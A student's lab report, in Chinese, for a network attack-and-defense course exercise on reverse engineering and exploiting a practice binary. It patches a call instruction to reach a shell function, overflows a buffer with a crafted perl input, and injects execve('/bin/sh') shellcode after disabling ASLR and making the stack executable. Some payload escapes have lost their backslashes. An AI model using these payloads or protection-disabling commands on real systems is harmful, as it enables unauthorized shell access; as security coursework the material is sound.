zoukankan      html  css  js  c++  java
  • 2018-2019-2 20165312《网络攻防技术》Exp1 PC平台逆向破解

    2018-2019-2 20165312《网络攻防技术》Exp1 PC平台逆向破解

    一、Exp1.1 直接修改程序机器指令,改变程序执行流程

    知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具

    实验思路:pwn1_1中main()调用foo(),此实验旨在修改程序机器指令,使得main()调用getshell()。

    实验步骤:

    • 反汇编:查看pwn1的代码机器指令和汇编语言objdump -d pwn1 | more


    main()中call指令指向foo()的内存地址0x08048491,对应的机器指令为ffffffd7。现在想把call指令指向getshell()的内存地址0x0804847d,就要修改相应的机器指令。经过计算相应的机器指令为ffffffc3

    • 修改机器指令
      • vi pwn1_1显示为一堆乱码,因为vi只编辑有效的ASCII码
      • :%!xxd转化为十六进制显示
      • /d7快速搜索定位到需要修改的地方
      • :%!xxd -r修改成功后,返回到原来的ASCII处
      • :wq!保存修改退出
    • 验证是否修改成功:进行反汇编查看机器指令和汇编语言objdump -d pwn1_1 | more

    ./pwn1_1

    二、Exp1.2通过构造输入参数,造成BOF攻击,改变程序执行流

    知识要求:堆栈结构,返回地址

    学习目标:理解攻击缓冲区的结果,掌握返回地址的获取

    实验思路:

    实验步骤

    • 确认返回地址:
      objdump -d pwn1_2 | more查看getshell()的内存地址

    在执行完foo()后,eip指向main()中call指令的下一条指令,现在要修改为getshell()的内存地址,即由0x080484ba修改为0x0804847d

    • 反汇编:查看foo()的所占字节长
    objdump -d pwn1_2 | more
    

    分析可得,0x1c换算为十进制为28,28+4=32。

    • gdb调试:查看eip寄存器的值,验证foo()所占字节长
    info r
    

    eip寄存器的值为0x31313131,通过查询ASCII码转换表,发现其与1111相对应。此时可以验证foo()所占字节为32.

    • 构造输入字符串:
      由于无法键盘输入字符串x7dx84x04x08,所以生成包含字符串的文件BOF.1perl -e 'print "12345678123456781234567812345678x7dx84x04x08x0a"' >EOF.1。将BOF.1的输出作为pwn1_2的输入,并且执行pwn1_2(cat BOF.1;cat) | ./pwn1_2

    三、Exp1.3注入Shellcode并执行

    有关shellcode:为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe)的机器指令。在此实验中,使用许心远学姐博客提供的shellcode:x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80

    实验思路:注入shellcode即返回地址为shellcode的起始地址(此时shellcode在返回地址后,也可以在前面)

    实验步骤

    • 准备工作

      • 下载execstack程序:apt-get install execstack
      • 设置堆栈可执行: execstack -s pwn1_3
      • 查询文件的堆栈是否可执行:execstack -s pwn1_3
      • 查看地址随机化的状态:more /proc/sys/kernel/randomize_va_space
      • 关闭地址随机化:echo "0" > /proc/sys/kernel/randomize_va_space

    • 构造要注入的payload

      • 我们选择NSR溢出模式来攻击buf,nop的机器码90
      • 构造shellcode:perl -e 'print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00"' > input-shellcode
      • 注入:(cat input-shellcode;cat) | ./pwn1_3

      • 另外打开一个终端2,查看执行文件进程号:ps -ef | grep pwn1_3

      • 进入gdb调试,连接进程号attach 2721

      • 设置断点查看注入buf的内存地址:

        • 反汇编:disassemble foo

        • 设置断点:break *0x080484ae
        • 在终端1敲回车键后,在终端2continue
        • 查看esp栈顶指针的地址:info r esp

        • 显示内存的值:x/16x 0xffffd33c
        • 通过查阅资料,由于foo()中leave指令达到mov esp,ebppop ebp的作用,esp指针指向原ebp指针的位置。所以shellcode的地址为0xffffd340
        • 退出gdb调试
      • 回到终端1exit退出

      • 修改shellcode中的内容:perl -e 'print "A" x 32;print "x40xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00"' > input-shellcode

      • 运行:(cat input-shellcode;cat) | ./pwn1_3

    四、实验中遇到的问题及解决方案

    1.运行pwn1_1时,遇到了没有那个文件或目录的问题

    解决方案:

    • 切换到root用户,用文件编辑器source.list
    leafpad /etc/apt/sources.list
    
    • 添加下列更新源
    #阿里云kali源  
    deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib  
    deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib  
    deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free  
    deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free  
      
    #中科大kali源  
    deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib  
    deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib  
    deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free  
    deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free 
    
    • 更新软件
    apt-get clean
    apt-get update
    
    • 安装32位运行库
    apt-get install lib32z1
    

    参考博客链接

    2.在gdb调试pwn1_3时,无法连接到进程号。

    在张羽昕同学的帮助下,发现是获取进程号的指令和gdb调试未在同一个终端下,改正后连接成功。

    3.在做Exp1.3时,无法下载execstack

    原因是可能之前在运行apt-get指令未执行完就退出了,只需要结束此进程就可以

    sudo rm /var/cache/apt/archives/lock
    sudo rm /var/lib/dpkg/lock
    

    参考博客链接

    五、报告小结

    • 实验收获与感想

    通过三个小实验以及刘老师课上的讲解,对缓冲区溢出攻击有了更多的了解。听老师讲和自己做还是存在差别,实验中遇到的问题也通过同学的帮助或者百度解决。以后还要通过更多的实践操作巩固所学。

    • 什么是漏洞?漏洞有什么危害?

    漏洞:在硬件、软件或协议在设计时存在的缺陷,攻击者能够在未授权的情况下进行非法操作。缓冲区溢出就是一个漏洞。危害:黑客入侵、病毒的驻留、数据丢失和篡改、隐私泄露甚至经济上的损失。

    • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
    • NOP:空指令,什么也不做,可以理解为“滑档区”,一直跳到下一条指令 。
    • JNE:条件跳转指令,若不相等则跳转。
    • JE:条件跳转指令,若相等则跳转。
    • JMP:无条件转移指令,可转到内存中任何程序段。转移地址可在指令中给出,或在寄存器中给出,或在存储器中指出。
    • CMP:比较指令,相当于减法的功能,但是不保存结果,只是影响相应的标志位。
    • 掌握反汇编与十六进制编程器
    • 反汇编指令(参考博客链接)
      • objdump -d file反汇编需要执行指令的那些section
      • objdump -f file显示文件头信息
      • objdump -D file与-d类似,但反汇编中的所有section
      • objdump -h file显示Section Header信息
      • objdump -x file显示全部Header信息
      • objdump -s file将所有段的内容以十六进制的方式打印出来
    • 十六进制编辑器
      • vi进入编辑器,此时为二进制。若发现为乱码,猜测为十六进制显示
      • esc键之后输入:%!xxd转化为十六进制
      • 进入十六进制后,可以使用/搜索指定的内容
      • esc键之后输入:%!xxd -r转化为二进制,保存即可退出。
  • 相关阅读:
    importlib
    js给kindeditor添加值
    在kindeditor 获取textarea 中 输入的值
    获取lable选中时触发事件
    Django之ModelForm组件
    KindEditor 和 xss过滤
    from 动态显示select数据
    CBV 验证装饰器的使用
    views获取数据 -- request包含的方法
    django -- 自定义simpletag 和 filter
  • 原文地址:https://www.cnblogs.com/cxgg/p/10539047.html
Copyright © 2011-2022 走看看